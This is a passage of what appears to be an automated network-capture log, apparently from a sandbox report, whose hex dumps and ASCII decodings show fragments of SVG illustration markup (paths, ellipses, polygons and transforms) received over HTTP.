2e 33 38 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e Data Ascii: class="cls-9" d="M470.37,188.86a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.24,2.24,0,0,1,.48-2.7,2.09,2.09,0,0,1,2.7,0,2,2,0,0,1,.15,2.67"/><path class="cls-9" d="M470.15,182.38a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0,0,1-3.12-.88,2.25,2.25,0,0,1,.
2023-05-31 12:51:54 UTC	1250	IN	Data Raw: 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 35 2e 30 38 2c 33 39 2e 31 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 34 38 34 2e 38 36 2c 33 32 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 Data Ascii: 1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M485.08,39.1a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M484.86,32.62a1.61,1.61,0,0,1-.73,2.09,2.35,2.35,0
2023-05-31 12:51:54 UTC	1266	IN	Data Raw: 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 35 32 2c 37 30 2e 36 32 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 31 32 2e 33 2c 36 34 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e Data Ascii: ,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.52,70.62a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M512.3,64.14a1.61,1.61,0,0,1-.73,2.09,2.
2023-05-31 12:51:54 UTC	1282	IN	Data Raw: 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 31 2c 32 2e 31 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 34 30 2c 31 30 32 2e 31 34 61 31 2e 36 31 2c 31 2e 36 31 2c 30 2c 30 2c 31 2d 2e 37 33 2c 32 2e 30 39 2c 32 2e 33 34 2c 32 2e 33 34 2c 30 2c 30 2c 31 2d 33 2e 31 32 2d 2e 38 38 2c 32 2e 32 35 2c 32 2e 32 35 2c 30 2c 30 2c 31 2c 2e 34 38 2d 32 2e 37 2c 32 2e 31 2c 32 2e 31 2c 30 2c 30 2c 31 2c 32 2e 37 31 2c 30 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 31 34 2c 32 2e 36 37 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 22 20 64 3d 22 4d 35 33 39 2e 37 34 2c 39 35 2e 36 36 61 31 2e 36 31 2c 31 2e 36 Data Ascii: ,0,0,1,.48-2.7,2.11,2.11,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M540,102.14a1.61,1.61,0,0,1-.73,2.09,2.34,2.34,0,0,1-3.12-.88,2.25,2.25,0,0,1,.48-2.7,2.1,2.1,0,0,1,2.71,0,2,2,0,0,1,.14,2.67"/><path class="cls-9" d="M539.74,95.66a1.61,1.6
2023-05-31 12:51:55 UTC	1298	IN	Data Raw: 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 36 22 20 64 3d 22 4d 39 30 30 2e 31 36 2c 31 37 34 6c 34 2e 33 34 2d 35 2e 36 33 2c 32 2e 34 31 2d 33 30 2e 32 36 2d 32 33 2e 36 39 2c 31 34 2e 34 35 63 2d 34 2e 39 34 2c 33 2d 39 2e 38 35 2c 36 2e 31 32 2d 31 34 2e 38 34 2c 39 2e 30 36 2d 34 2e 38 33 2c 32 2e 38 34 2d 31 33 36 2e 33 2d 32 2e 35 31 2d 31 34 31 2e 38 37 2d 32 2e 31 37 6c 2d 38 33 2e 37 31 2c 35 63 2d 31 2e 38 37 2e 31 32 2d 33 32 2c 31 2e 31 36 2d 33 32 2e 31 33 2c 31 2e 39 34 6c 2d 2e 33 39 2c 34 4c 36 31 Data Ascii: 9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94Z"/><path class="cls-16" d="M900.16,174l4.34-5.63,2.41-30.26-23.69,14.45c-4.94,3-9.85,6.12-14.84,9.06-4.83,2.84-136.3-2.51-141.87-2.17l-83.71,5c-1.87.12-32,1.16-32.13,1.94l-.39,4L61
2023-05-31 12:51:55 UTC	1314	IN	Data Raw: 2e 34 35 2c 31 2e 39 34 2c 31 2e 39 34 2c 30 2c 30 2c 30 2c 2e 33 37 2d 2e 36 36 41 32 2e 35 2c 32 2e 35 2c 30 2c 30 2c 30 2c 35 32 30 2e 33 34 2c 32 32 39 2e 30 35 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 35 32 34 2c 32 32 36 2e 32 32 71 30 2c 2e 32 31 2c 30 2c 2e 34 38 63 30 2c 2e 31 38 2c 30 2c 2e 33 33 2c 30 2c 2e 34 35 68 30 61 31 2e 36 36 2c 31 2e 36 36 2c 30 2c 30 2c 31 2c 2e 32 39 2d 2e 34 32 2c 32 2e 30 36 2c 32 2e 30 36 2c 30 2c 30 2c 31 2c 2e 34 33 2d 2e 33 35 2c 32 2e 33 32 2c 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 35 33 2d 2e 32 34 2c 32 2e 33 35 2c 32 2e 33 35 2c 30 2c 30 2c 31 2c 2e 36 2d 2e 30 38 2c 32 2e 31 35 2c 32 2e 31 35 2c 30 2c 30 2c 31 2c 31 2c 2e 31 39 2c 32 2c 32 2c 30 2c 30 2c 31 2c 2e 36 Data Ascii: .45,1.94,1.94,0,0,0,.37-.66A2.5,2.5,0,0,0,520.34,229.05Z"/><path class="cls-2" d="M524,226.22q0,.21,0,.48c0,.18,0,.33,0,.45h0a1.66,1.66,0,0,1,.29-.42,2.06,2.06,0,0,1,.43-.35,2.32,2.32,0,0,1,.53-.24,2.35,2.35,0,0,1,.6-.08,2.15,2.15,0,0,1,1,.19,2,2,0,0,1,.6
2023-05-31 12:51:55 UTC	1330	IN	Data Raw: 79 32 3d 22 33 32 34 2e 32 36 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 37 36 22 20 64 3d 22 4d 36 36 39 2e 31 39 2c 33 31 33 2e 33 34 76 32 63 30 2c 31 2e 33 36 2c 33 2e 32 33 2c 32 2e 34 36 2c 37 2e 32 31 2c 32 2e 34 36 73 37 2e 32 31 2d 31 2e 31 2c 37 2e 32 31 2d 32 2e 34 36 76 2d 32 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 36 37 36 2e 34 22 20 63 79 3d 22 33 31 33 2e 33 34 22 20 72 78 3d 22 37 2e 32 31 22 20 72 79 3d 22 32 2e 34 35 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 70 6f 69 6e 74 73 3d 22 36 36 38 2e 31 35 20 33 33 31 2e 34 38 20 36 36 34 2e 37 33 20 33 32 39 2e 31 35 20 36 36 34 2e 39 33 20 33 31 37 2e 37 34 20 36 36 38 2e 34 20 33 31 Data Ascii: y2="324.26"/><path class="cls-76" d="M669.19,313.34v2c0,1.36,3.23,2.46,7.21,2.46s7.21-1.1,7.21-2.46v-2"/><ellipse class="cls-38" cx="676.4" cy="313.34" rx="7.21" ry="2.45"/><polygon class="cls-38" points="668.15 331.48 664.73 329.15 664.93 317.74 668.4 31
2023-05-31 12:51:55 UTC	1346	IN	Data Raw: 20 35 36 38 2e 37 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 32 2e 32 34 22 20 72 79 3d 22 32 2e 38 38 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 2f 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 39 37 22 20 63 78 3d 22 38 34 38 2e 36 34 22 20 63 79 3d 22 32 31 38 2e 37 34 22 20 72 78 3d 22 31 2e 36 22 20 72 79 3d 22 32 2e 30 35 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 35 2e 36 39 20 35 36 39 2e 38 38 29 20 72 6f 74 61 74 65 28 Data Ascii: 568.75) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="2.24" ry="2.88" transform="translate(45.69 569.88) rotate(-38.07)"/><ellipse class="cls-97" cx="848.64" cy="218.74" rx="1.6" ry="2.05" transform="translate(45.69 569.88) rotate(
2023-05-31 12:51:55 UTC	1362	IN	Data Raw: 33 34 63 30 2d 2e 30 35 2d 2e 32 38 2d 2e 32 35 2d 2e 33 32 2d 2e 33 61 2e 33 2e 33 2c 30 2c 30 2c 31 2d 2e 30 39 2d 2e 32 33 2e 33 32 2e 33 32 2c 30 2c 30 2c 31 2c 2e 33 33 2d 2e 33 33 43 38 31 35 2e 32 36 2c 32 35 30 2e 31 34 2c 38 31 35 2e 33 34 2c 32 35 30 2e 31 38 2c 38 31 35 2e 36 2c 32 35 30 2e 33 39 5a 6d 31 2e 31 37 2e 34 36 61 32 2e 33 37 2c 32 2e 33 37 2c 30 2c 30 2c 31 2c 2e 32 33 2e 36 36 63 30 2c 2e 32 31 2d 2e 32 31 2e 32 38 2d 2e 34 32 2e 32 32 73 2d 2e 31 37 2d 2e 30 38 2d 2e 33 33 2d 2e 34 37 6c 2d 2e 31 36 2d 2e 33 37 61 2e 33 35 2e 33 35 2c 30 2c 30 2c 31 2c 30 2d 2e 31 34 63 30 2d 2e 32 34 2e 32 33 2d 2e 32 36 2e 33 36 2d 2e 32 35 53 38 31 36 2e 36 35 2c 32 35 30 2e 35 39 2c 38 31 36 2e 37 37 2c 32 35 30 2e 38 35 5a 6d 2e 34 35 2e 30 Data Ascii: 34c0-.05-.28-.25-.32-.3a.3.3,0,0,1-.09-.23.32.32,0,0,1,.33-.33C815.26,250.14,815.34,250.18,815.6,250.39Zm1.17.46a2.37,2.37,0,0,1,.23.66c0,.21-.21.28-.42.22s-.17-.08-.33-.47l-.16-.37a.35.35,0,0,1,0-.14c0-.24.23-.26.36-.25S816.65,250.59,816.77,250.85Zm.45.0
2023-05-31 12:51:55 UTC	1378	IN	Data Raw: 2c 32 38 34 2e 39 31 5a 22 2f 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 33 22 20 78 3d 22 39 33 30 2e 31 36 22 20 79 3d 22 32 38 35 2e 32 39 22 20 77 69 64 74 68 3d 22 33 2e 37 35 22 20 68 65 69 67 68 74 3d 22 33 2e 31 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 38 36 34 2e 30 36 20 35 37 33 2e 36 37 29 20 72 6f 74 61 74 65 28 2d 31 38 30 29 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 34 22 20 64 3d 22 4d 39 33 33 2e 37 32 2c 32 39 35 2e 38 33 61 33 31 2e 37 31 2c 33 31 2e 37 31 2c 30 2c 30 2c 31 2d 36 2e 32 2e 35 31 2c 33 32 2e 34 33 2c 33 32 2e 34 33 2c 30 2c 30 2c 31 2d 36 2e 32 34 2d 2e 35 31 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 31 35 22 20 64 3d 22 4d 39 33 Data Ascii: ,284.91Z"/><rect class="cls-113" x="930.16" y="285.29" width="3.75" height="3.1" transform="translate(1864.06 573.67) rotate(-180)"/><path class="cls-114" d="M933.72,295.83a31.71,31.71,0,0,1-6.2.51,32.43,32.43,0,0,1-6.24-.51"/><path class="cls-115" d="M93
2023-05-31 12:51:55 UTC	1394	IN	Data Raw: 30 2c 30 2c 30 2c 2e 37 36 2e 36 2c 36 2e 35 38 2c 36 2e 35 38 2c 30 2c 30 2c 30 2c 32 2e 33 35 2c 31 2e 30 37 2c 37 2e 32 38 2c 37 2e 32 38 2c 30 2c 30 2c 30 2c 32 2e 33 37 2d 2e 30 39 6c 31 2e 38 37 2d 2e 32 37 61 35 2e 32 34 2c 35 2e 32 34 2c 30 2c 30 2c 30 2c 32 2e 35 38 2d 2e 38 35 41 32 2e 39 31 2c 32 2e 39 31 2c 30 2c 30 2c 30 2c 39 30 35 2e 35 37 2c 32 35 33 2e 35 32 5a 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 31 33 34 22 20 64 3d 22 4d 38 39 36 2e 39 32 2c 32 34 36 2e 37 33 61 32 2e 33 36 2c 32 2e 33 36 2c 30 2c 30 2c 31 2c 2e 37 34 2d 2e 35 35 63 30 2d 2e 34 32 2e 32 37 2d 2e 37 39 2e 32 32 2d 31 2e 32 32 61 36 2e 34 38 2c 36 2e 34 38 2c 30 2c 30 2c 31 2c 32 2e 33 32 2d 2e 30 35 63 2d 2e 35 38 2e 39 34 2e 33 34 2c 32 2e 31 2c Data Ascii: 0,0,0,.76.6,6.58,6.58,0,0,0,2.35,1.07,7.28,7.28,0,0,0,2.37-.09l1.87-.27a5.24,5.24,0,0,0,2.58-.85A2.91,2.91,0,0,0,905.57,253.52Z"/><path class="cls-134" d="M896.92,246.73a2.36,2.36,0,0,1,.74-.55c0-.42.27-.79.22-1.22a6.48,6.48,0,0,1,2.32-.05c-.58.94.34,2.1,
2023-05-31 12:51:55 UTC	1410	IN	Data Raw: 36 37 2c 34 2e 37 36 2e 36 36 2c 37 2e 32 61 31 30 2e 36 34 2c 31 30 2e 36 34 2c 30 2c 30 2c 31 2d 32 2d 2e 31 38 2c 39 2c 39 2c 30 2c 30 2c 31 2d 31 2e 31 33 2d 2e 33 31 63 2d 2e 32 32 2d 2e 30 35 2d 31 2e 32 36 2d 2e 34 35 2d 31 2e 34 35 2d 2e 33 73 2e 31 38 2e 37 2e 33 32 2e 38 39 63 2e 32 36 2e 33 37 2e 33 34 2e 34 36 2e 32 33 2e 39 61 2e 38 33 2e 38 33 2c 30 2c 30 2c 31 2d 2e 35 31 2e 36 38 63 2d 2e 31 33 2e 30 36 2d 2e 38 36 2e 32 32 2d 31 2c 2e 31 33 2c 31 2e 32 34 2c 31 2e 31 39 2c 33 2e 32 36 2c 31 2c 34 2e 38 36 2c 31 2e 32 6c 32 2e 34 33 2e 32 34 63 2e 36 2e 30 36 2c 31 2e 31 37 2e 31 33 2c 31 2e 34 35 2d 2e 35 34 61 33 2e 38 37 2c 33 2e 38 37 2c 30 2c 30 2c 30 2c 2e 31 32 2d 31 2e 33 31 63 30 2d 31 2d 2e 31 36 2d 32 2d 2e 32 2d 33 43 38 32 37 Data Ascii: 67,4.76.66,7.2a10.64,10.64,0,0,1-2-.18,9,9,0,0,1-1.13-.31c-.22-.05-1.26-.45-1.45-.3s.18.7.32.89c.26.37.34.46.23.9a.83.83,0,0,1-.51.68c-.13.06-.86.22-1,.13,1.24,1.19,3.26,1,4.86,1.2l2.43.24c.6.06,1.17.13,1.45-.54a3.87,3.87,0,0,0,.12-1.31c0-1-.16-2-.2-3C827
2023-05-31 12:51:55 UTC	1426	IN	Data Raw: 2d 33 2d 31 33 2e 35 2d 33 6c 2d 33 30 2e 36 39 2d 33 2e 35 37 63 2d 31 2e 32 34 2d 2e 30 38 2d 34 2d 34 2d 34 2e 38 33 2d 34 2e 39 61 34 33 2e 30 37 2c 34 33 2e 30 37 2c 30 2c 30 2c 30 2d 34 2e 31 37 2d 33 2e 39 35 63 2d 32 2e 30 36 2d 31 2e 37 36 2d 33 2e 39 34 2d 33 2e 38 2d 35 2e 38 39 2d 35 2e 36 38 6c 2d 31 30 2d 39 2e 36 34 63 2d 36 2e 33 36 2d 31 2e 35 36 2d 31 32 2e 37 36 2d 33 2d 31 39 2e 31 32 2d 34 2e 35 36 2d 34 2e 33 35 2d 31 2e 30 38 2d 38 2e 37 34 2d 36 2e 31 33 2d 31 32 2e 38 36 2d 37 2e 38 31 2d 31 2e 32 33 2d 35 2e 31 34 2d 31 2e 35 38 2d 39 2d 33 2e 39 35 2d 31 37 2e 34 38 2d 2e 30 36 2d 2e 32 32 2c 31 2e 32 32 2d 39 2c 31 2e 36 38 2d 39 2c 31 32 2e 30 39 2e 31 34 2c 32 31 2c 2e 35 36 2c 33 33 2c 2e 36 35 2c 32 33 2c 2e 31 38 2c 34 35 Data Ascii: -3-13.5-3l-30.69-3.57c-1.24-.08-4-4-4.83-4.9a43.07,43.07,0,0,0-4.17-3.95c-2.06-1.76-3.94-3.8-5.89-5.68l-10-9.64c-6.36-1.56-12.76-3-19.12-4.56-4.35-1.08-8.74-6.13-12.86-7.81-1.23-5.14-1.58-9-3.95-17.48-.06-.22,1.22-9,1.68-9,12.09.14,21,.56,33,.65,23,.18,45
2023-05-31 12:51:55 UTC	1442	IN	Data Raw: 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 37 20 35 36 33 2e 36 34 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 34 30 2e 36 39 22 20 63 79 3d 22 32 31 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 35 22 20 72 79 3d 22 30 2e 31 39 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 34 36 2e 38 36 20 35 36 33 2e 39 39 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 33 39 2e 30 38 22 20 63 79 3d 22 32 31 34 2e 30 35 22 20 72 78 3d 22 30 2e 31 35 22 20 Data Ascii: ry="0.19" transform="translate(47 563.64) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="840.69" cy="214.09" rx="0.15" ry="0.19" transform="translate(46.86 563.99) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="839.08" cy="214.05" rx="0.15"
2023-05-31 12:51:55 UTC	1458	IN	Data Raw: 63 79 3d 22 32 33 33 2e 36 37 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 37 38 20 35 35 30 2e 37 36 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 32 2e 39 38 22 20 63 79 3d 22 32 33 34 2e 30 39 22 20 72 78 3d 22 30 2e 31 37 22 20 72 79 3d 22 30 2e 32 32 22 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 38 2e 36 33 20 35 35 31 2e 31 35 29 20 72 6f 74 61 74 65 28 2d 33 38 2e 30 37 29 22 3e 3c 2f 65 6c 6c 69 70 73 65 3e 3c 65 6c 6c 69 70 73 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 22 20 63 78 3d 22 38 31 33 2e 34 Data Ascii: cy="233.67" rx="0.17" ry="0.22" transform="translate(28.78 550.76) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="812.98" cy="234.09" rx="0.17" ry="0.22" transform="translate(28.63 551.15) rotate(-38.07)"></ellipse><ellipse class="cls-38" cx="813.4
2023-05-31 12:51:55 UTC	1474	IN	Data Raw: 73 20 31 20 6e 6f 72 6d 61 6c 20 6e 6f 6e 65 20 72 75 6e 6e 69 6e 67 3b 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 33 38 20 73 76 67 2d 61 6e 69 6d 22 20 64 3d 22 4d 38 30 38 2e 38 35 2c 32 38 31 2e 37 37 61 31 2e 38 35 2c 31 2e 38 35 2c 30 2c 30 2c 31 2c 2e 31 31 2d 2e 33 31 63 2d 2e 33 31 2e 36 37 2d 31 2c 31 2d 31 2e 30 39 2c 31 2e 37 38 61 31 31 2c 31 31 2c 30 2c 30 2c 30 2d 2e 31 35 2c 31 2e 31 35 63 30 2c 2e 34 34 2e 32 2e 36 32 2e 33 31 2c 31 2c 2e 32 32 2e 37 34 2d 2e 31 37 2c 31 2e 37 35 2d 31 2e 30 37 2c 31 2e 34 35 2d 2e 36 39 2d 2e 32 33 2d 31 2e 31 2d 31 2d 31 2e 36 2d 31 2e 34 35 61 31 31 2e 37 36 2c 31 31 2e 37 36 2c 30 2c 30 2c 31 2d 31 2e 38 39 2d 31 2e 37 37 2c 32 2e 33 39 2c 32 2e 33 39 2c 30 2c 30 2c Data Ascii: s 1 normal none running;"></path><path class="cls-38 svg-anim" d="M808.85,281.77a1.85,1.85,0,0,1,.11-.31c-.31.67-1,1-1.09,1.78a11,11,0,0,0-.15,1.15c0,.44.2.62.31,1,.22.74-.17,1.75-1.07,1.45-.69-.23-1.1-1-1.6-1.45a11.76,11.76,0,0,1-1.89-1.77,2.39,2.39,0,0,
2023-05-31 12:51:55 UTC	1490	IN	Data Raw: 35 2e 36 36 20 35 39 38 2e 34 35 20 32 32 31 2e 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 39 2e 35 34 20 32 31 31 2e 31 32 20 35 39 32 2e 36 35 20 32 31 36 2e 32 33 20 35 39 39 2e 32 20 32 32 30 2e 32 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 32 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 33 35 2e 32 32 20 35 39 30 2e 35 20 32 33 39 2e 35 34 20 35 39 37 2e 38 31 20 32 33 36 2e 33 37 22 3e 3c 2f 70 6f 6c 79 6c 69 6e 65 3e 3c 70 6f 6c 79 6c 69 6e 65 20 63 6c 61 73 73 3d 22 63 6c 73 2d 35 33 22 20 70 6f 69 6e 74 73 3d 22 35 37 37 2e 38 32 20 32 35 30 2e 33 31 20 35 39 30 2e 35 20 32 Data Ascii: 5.66 598.45 221.7"></polyline><polyline class="cls-52" points="579.54 211.12 592.65 216.23 599.2 220.2"></polyline><polyline class="cls-52" points="577.82 235.22 590.5 239.54 597.81 236.37"></polyline><polyline class="cls-53" points="577.82 250.31 590.5 2
2023-05-31 12:51:55 UTC	1506	IN	Data Raw: 61 6e 69 6d 22 20 64 3d 22 4d 36 30 39 2e 33 33 2c 33 30 34 2e 38 39 61 31 2e 36 32 2c 31 2e 36 32 2c 30 2c 30 2c 30 2c 2e 32 2d 2e 32 38 63 2d 2e 34 2e 36 37 2d 2e 33 31 2c 31 2e 34 38 2d 2e 39 2c 32 61 39 2e 39 34 2c 39 2e 39 34 2c 30 2c 30 2c 31 2d 2e 39 32 2e 38 63 2d 2e 33 38 2e 32 37 2d 2e 36 35 2e 32 2d 31 2c 2e 33 33 2d 2e 37 38 2e 32 35 2d 31 2e 34 33 2c 31 2e 31 37 2d 2e 36 34 2c 31 2e 37 38 61 35 2e 31 38 2c 35 2e 31 38 2c 30 2c 30 2c 30 2c 32 2e 32 31 2e 35 34 2c 31 32 2e 31 31 2c 31 32 2e 31 31 2c 30 2c 30 2c 30 2c 32 2e 36 35 2e 36 2c 32 2e 35 32 2c 32 2e 35 32 2c 30 2c 30 2c 30 2c 31 2e 34 35 2d 2e 35 35 63 2e 34 35 2d 2e 34 38 2e 32 38 2d 31 2e 35 37 2e 32 34 2d 32 2e 31 36 2d 2e 30 36 2d 31 2d 2e 34 33 2d 31 2e 39 32 2d 2e 34 31 2d 32 2e Data Ascii: anim" d="M609.33,304.89a1.62,1.62,0,0,0,.2-.28c-.4.67-.31,1.48-.9,2a9.94,9.94,0,0,1-.92.8c-.38.27-.65.2-1,.33-.78.25-1.43,1.17-.64,1.78a5.18,5.18,0,0,0,2.21.54,12.11,12.11,0,0,0,2.65.6,2.52,2.52,0,0,0,1.45-.55c.45-.48.28-1.57.24-2.16-.06-1-.43-1.92-.41-2.
2023-05-31 12:51:55 UTC	1522	IN	Data Raw: 30 2c 30 2d 2e 35 32 2d 2e 30 36 2c 31 2e 35 34 2c 31 2e 35 34 2c 30 2c 30 2c 30 2d 2e 37 2e 31 35 2c 31 2e 34 33 2c 31 2e 34 33 2c 30 2c 30 2c 30 2d 2e 35 2e 34 31 2c 31 2e 37 37 2c 31 2e 37 37 2c 30 2c 30 2c 30 2d 2e 33 2e 35 38 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 30 39 2e 36 39 76 33 68 2d 31 2e 31 33 56 37 31 2e 31 36 43 38 39 34 2e 34 39 2c 37 31 2c 38 39 34 2e 34 39 2c 37 30 2e 38 31 2c 38 39 34 2e 34 38 2c 37 30 2e 35 37 5a 22 3e 3c 2f 70 61 74 68 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 63 6c 73 2d 32 22 20 64 3d 22 4d 39 30 30 2e 31 35 2c 36 37 2e 38 38 61 2e 36 37 2e 36 37 2c 30 2c 30 2c 31 2d 2e 32 32 2e 35 32 2e 37 32 2e 37 32 2c 30 2c 30 2c 31 2d 2e 35 33 2e 32 2e 36 38 2e 36 38 2c 30 2c 30 2c 31 2d 2e 35 32 2d 2e 32 31 2e Data Ascii: 0,0-.52-.06,1.54,1.54,0,0,0-.7.15,1.43,1.43,0,0,0-.5.41,1.77,1.77,0,0,0-.3.58,2.61,2.61,0,0,0-.09.69v3h-1.13V71.16C894.49,71,894.49,70.81,894.48,70.57Z"></path><path class="cls-2" 